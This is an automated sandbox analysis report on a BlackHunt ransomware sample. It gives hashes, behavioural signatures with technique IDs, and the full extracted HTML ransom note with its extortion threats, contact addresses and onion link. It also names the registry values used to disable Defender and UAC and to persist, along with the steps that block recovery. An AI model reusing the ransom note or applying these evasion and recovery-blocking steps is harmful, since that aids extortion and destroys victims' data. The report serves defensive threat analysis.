5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086

Analysis

max time kernel
164s
max time network
190s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
18-01-2024 23:32

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General

Target

5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
Size

707KB
MD5

91fe27d5befb9deb9fa6640bbee4af6b
SHA1

f53ef2012e09f6f27f58a391025d92106e8911ca
SHA256

5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086
SHA512

9f69db43b3b3b9394fbc1660fc891204d2fc00cb3c1e84fc2f6b860aef09cad8733af236d97fa9b14400ac6228288a4c6110877f35a11606598e82a97a03fb83
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1u8tvnh:6uaTmkZJ+naie5OTamgEoKxLWFZh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

F:\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> fB4ehfKlpF4MUEKB </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
916	fsutil.exe
6040	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
2032	wevtutil.exe
220	wevtutil.exe
2364	wevtutil.exe
2724	wevtutil.exe
1976	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3712	bcdedit.exe
2000	bcdedit.exe
5788	bcdedit.exe
6124	bcdedit.exe

Renames multiple (336) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
5064	wbadmin.exe
5936	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\International\Geo\Nation	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\International\Geo\Nation	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\U:	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened (read-only)	\??\I:	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened (read-only)	\??\X:	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened (read-only)	\??\M:	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\Q:	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened (read-only)	\??\W:	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened (read-only)	\??\T:	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened (read-only)	\??\Y:	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\E:	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened (read-only)	\??\S:	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened (read-only)	\??\H:	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened (read-only)	\??\Z:	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened (read-only)	\??\V:	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened (read-only)	\??\B:	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened (read-only)	\??\R:	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened (read-only)	\??\O:	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened (read-only)	\??\L:	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened (read-only)	\??\K:	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened (read-only)	\??\N:	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\P:	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened (read-only)	\??\A:	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened (read-only)	\??\G:	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened (read-only)	\??\J:	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened (read-only)	\??\F:	vssadmin.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
14	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\tzdb.dat	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\VideoLAN\VLC\locale\id\LC_MESSAGES\#BlackHunt_Private.key	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\ext\#BlackHunt_ReadMe.hta	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\VideoLAN\#BlackHunt_Private.key	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\VideoLAN\VLC\locale\es\#BlackHunt_ReadMe.hta	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fur\LC_MESSAGES\#BlackHunt_ReadMe.txt	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ky\LC_MESSAGES\#BlackHunt_Private.key	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sw.txt	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\Java\jdk-1.8\include\#BlackHunt_Private.key	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\psfont.properties.ja	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\Java\jdk-1.8\legal\javafx\#BlackHunt_Private.key	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\Java\jdk-1.8\#BlackHunt_Private.key	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\management\snmp.acl.template	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\Java\jre-1.8\lib\management\#BlackHunt_ReadMe.hta	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\VideoLAN\VLC\locale\he\#BlackHunt_ReadMe.txt	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tk.txt	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\zlib.md	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\libffi.md	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hu\#BlackHunt_ReadMe.txt	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\7-Zip\Lang\#BlackHunt_ReadMe.hta	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\VideoLAN\VLC\locale\an\LC_MESSAGES\#BlackHunt_ReadMe.hta	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\#BlackHunt_ReadMe.txt	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\ext\#BlackHunt_ReadMe.txt	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\Reference Assemblies\#BlackHunt_ReadMe.hta	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
File created	C:\Program Files\VideoLAN\VLC\locale\co\#BlackHunt_Private.key	5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe
